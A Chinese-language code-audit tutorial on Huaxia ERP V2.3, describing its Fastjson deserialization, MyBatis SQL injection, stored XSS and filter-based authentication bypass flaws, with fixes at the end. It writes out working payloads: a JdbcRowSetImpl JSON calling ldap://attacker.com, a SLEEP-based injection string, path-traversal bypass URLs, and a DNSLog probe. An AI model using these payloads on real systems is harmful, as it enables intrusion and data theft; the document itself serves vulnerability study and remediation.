华夏ERP V2.3代码审计分析
字数 2112 2025-11-21 12:12:20

华夏ERP V2.3代码审计分析教学文档

系统概述

华夏ERP V2.3是基于Java开发的企业资源管理系统,采用Spring Boot框架构建,存在多处安全漏洞。

环境配置

  • JDK版本: 1.8
  • 数据库配置: 通过application.properties文件配置数据库连接
  • 测试账户: 用户名jsh,密码123456

依赖组件安全分析

1. Fastjson反序列化漏洞

版本: 1.2.55
漏洞类型: 反序列化、黑名单绕过、JNDI注入导致RCE

风险详情:

  • autoType功能默认开启,允许在JSON中指定类名进行反序列化
  • 黑名单认证机制存在缺陷,可多种方式绕过
  • 可导致JNDI注入实现远程代码执行

攻击Payload:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com/Exploit",
    "autoCommit": true
}

2. Log4j漏洞

版本: 2.10.0
组件: log4j-to-slf4j
风险: 存在已知安全漏洞,需升级版本

3. MyBatis数据库框架

版本: 3.0.7.1
风险: 存在SQL注入风险点

4. Swagger-UI

版本: 2.7.0
用途: API文档生成,可能存在信息泄露风险

项目结构分析

java/
└── com/
    └── jsh/
        └── erp/
            ├── config/          # 配置类
            ├── constants/       # 常量定义
            ├── controller/      # 控制器层
            ├── datasource/      # 数据源配置
            ├── exception/       # 异常处理
            ├── filter/          # 过滤器
            ├── service/         # 服务层
            └── utils/           # 工具类

SQL注入漏洞分析

漏洞原理

MyBatis中使用${}进行字符串拼接,直接将参数内容不加修饰符拼接在SQL中,导致注入风险。

常见风险场景

  1. 模糊查询: %${param}%形式
  2. IN语句: in (${param})形式
  3. ORDER BY: order by ${param}语句

具体漏洞位置

  • DAO层: selectByConditionDepot方法
  • 参数来源: search参数中的name键值对
  • 调用链: 通过通用功能层代码,多个API调用同一段代码

验证方法

时间盲注Payload:

search={"name":"test' AND SLEEP(5) AND '1'='1"}

影响接口:

  • /depot/list - 仓库管理列表
  • /user/list - 用户管理列表(loginName和userName参数)

注入特征:

  • 执行时间延迟明显
  • sleep函数执行次数与分页参数相关
  • 可在IDEA日志中查看实际执行的SQL语句

XSS漏洞分析

存储型XSS漏洞位置

  1. 采购订单模块

    • 新增商品处的多个输入框
    • 每次访问采购订单页面都会触发
  2. 销售管理模块

    • 添加客户信息处的客户名称字段
  3. 仓库管理模块

    • 添加供应商名称字段
  4. 财务管理模块

    • 收支单处的项目添加字段

攻击验证

在所有文本输入框中插入XSS Payload均可成功触发弹窗。

鉴权绕过漏洞分析

过滤器配置

文件: LogCostFilter过滤器
拦截路径: /*(所有路径)

初始化参数:

  • ignoredUrl: 忽略.css、.js、.jpg、.png、.gif、.ico文件类型
  • filterPath: 特殊处理路径/user/login、/user/registerUser、/v2/api-docs

绕过方法一:目录遍历

原理: 使用startsWith()函数判断URL开头,可通过目录穿越绕过
Payload: /user/login/../../需要访问的路径

绕过方法二:路径参数绕过

原理: 正则表达式^.*\.css.*$过于宽泛,只要URL包含忽略列表内容即可匹配
Payload:

  • /.gif/../account/getAcount
  • /path;.gif/../需要访问的路径

其他放行条件

URL包含/doc.html/register.html/login.html中任意一个即可放行。

Fastjson反序列化漏洞利用

检测方法

全局搜索以下关键词:

  • parseObject(
  • JSON.parseObject(
  • JSONObject.parse(
  • JSONObject.parseObject(
  • JSON.parse()
  • JSON.parseObject()

漏洞验证

DNSLog检测Payload:

search={"@type":"java.net.Inet4Address","val":"dnslog-domain.com"}

确认特征: 明确设置defaultRedisConfig.setAutoTypeSupport(true)

攻击利用

所需组件:

  1. LDAP服务器(LDAPServer.java)
  2. 恶意class文件(Executor.java编译)
  3. HTTP服务托管class文件

执行流程:

  1. 启动HTTP服务提供class文件下载
  2. 运行LDAP服务器进行引用指向
  3. 发送恶意JSON请求触发反序列化

安全机制绕过

  • AutoType为false时: 先黑名单过滤,再白名单过滤
  • AutoType为true时: 先白名单过滤,再黑名单过滤

修复建议

立即措施

  1. 升级Fastjson至安全版本
  2. 替换MyBatis拼接方式,使用#{}预编译
  3. 加强输入过滤,对所有用户输入进行严格验证
  4. 修复鉴权逻辑,使用路径标准化后验证

长期加固

  1. 实施严格的权限验证机制
  2. 添加安全中间件进行请求过滤
  3. 建立代码安全审查流程
  4. 定期进行安全漏洞扫描

总结

华夏ERP V2.3存在严重的安全隐患,涉及SQL注入、XSS、鉴权绕过和反序列化漏洞,需立即进行安全修复和代码重构。

华夏ERP V2.3代码审计分析教学文档 系统概述 华夏ERP V2.3是基于Java开发的企业资源管理系统,采用Spring Boot框架构建,存在多处安全漏洞。 环境配置 JDK版本 : 1.8 数据库配置 : 通过application.properties文件配置数据库连接 测试账户 : 用户名jsh,密码123456 依赖组件安全分析 1. Fastjson反序列化漏洞 版本 : 1.2.55 漏洞类型 : 反序列化、黑名单绕过、JNDI注入导致RCE 风险详情 : autoType功能默认开启,允许在JSON中指定类名进行反序列化 黑名单认证机制存在缺陷,可多种方式绕过 可导致JNDI注入实现远程代码执行 攻击Payload : 2. Log4j漏洞 版本 : 2.10.0 组件 : log4j-to-slf4j 风险 : 存在已知安全漏洞,需升级版本 3. MyBatis数据库框架 版本 : 3.0.7.1 风险 : 存在SQL注入风险点 4. Swagger-UI 版本 : 2.7.0 用途 : API文档生成,可能存在信息泄露风险 项目结构分析 SQL注入漏洞分析 漏洞原理 MyBatis中使用 ${} 进行字符串拼接,直接将参数内容不加修饰符拼接在SQL中,导致注入风险。 常见风险场景 模糊查询 : %${param}% 形式 IN语句 : in (${param}) 形式 ORDER BY : order by ${param} 语句 具体漏洞位置 DAO层 : selectByConditionDepot方法 参数来源 : search参数中的name键值对 调用链 : 通过通用功能层代码,多个API调用同一段代码 验证方法 时间盲注Payload : 影响接口 : /depot/list - 仓库管理列表 /user/list - 用户管理列表(loginName和userName参数) 注入特征 : 执行时间延迟明显 sleep函数执行次数与分页参数相关 可在IDEA日志中查看实际执行的SQL语句 XSS漏洞分析 存储型XSS漏洞位置 采购订单模块 新增商品处的多个输入框 每次访问采购订单页面都会触发 销售管理模块 添加客户信息处的客户名称字段 仓库管理模块 添加供应商名称字段 财务管理模块 收支单处的项目添加字段 攻击验证 在所有文本输入框中插入XSS Payload均可成功触发弹窗。 鉴权绕过漏洞分析 过滤器配置 文件 : LogCostFilter过滤器 拦截路径 : /* (所有路径) 初始化参数 : ignoredUrl : 忽略.css、.js、.jpg、.png、.gif、.ico文件类型 filterPath : 特殊处理路径/user/login、/user/registerUser、/v2/api-docs 绕过方法一:目录遍历 原理 : 使用startsWith()函数判断URL开头,可通过目录穿越绕过 Payload : /user/login/../../需要访问的路径 绕过方法二:路径参数绕过 原理 : 正则表达式 ^.*\.css.*$ 过于宽泛,只要URL包含忽略列表内容即可匹配 Payload : /.gif/../account/getAcount /path;.gif/../需要访问的路径 其他放行条件 URL包含 /doc.html 、 /register.html 、 /login.html 中任意一个即可放行。 Fastjson反序列化漏洞利用 检测方法 全局搜索以下关键词: parseObject( JSON.parseObject( JSONObject.parse( JSONObject.parseObject( JSON.parse() JSON.parseObject() 漏洞验证 DNSLog检测Payload : 确认特征 : 明确设置 defaultRedisConfig.setAutoTypeSupport(true) 攻击利用 所需组件 : LDAP服务器(LDAPServer.java) 恶意class文件(Executor.java编译) HTTP服务托管class文件 执行流程 : 启动HTTP服务提供class文件下载 运行LDAP服务器进行引用指向 发送恶意JSON请求触发反序列化 安全机制绕过 AutoType为false时 : 先黑名单过滤,再白名单过滤 AutoType为true时 : 先白名单过滤,再黑名单过滤 修复建议 立即措施 升级Fastjson 至安全版本 替换MyBatis拼接方式 ,使用 #{} 预编译 加强输入过滤 ,对所有用户输入进行严格验证 修复鉴权逻辑 ,使用路径标准化后验证 长期加固 实施严格的权限验证机制 添加安全中间件进行请求过滤 建立代码安全审查流程 定期进行安全漏洞扫描 总结 华夏ERP V2.3存在严重的安全隐患,涉及SQL注入、XSS、鉴权绕过和反序列化漏洞,需立即进行安全修复和代码重构。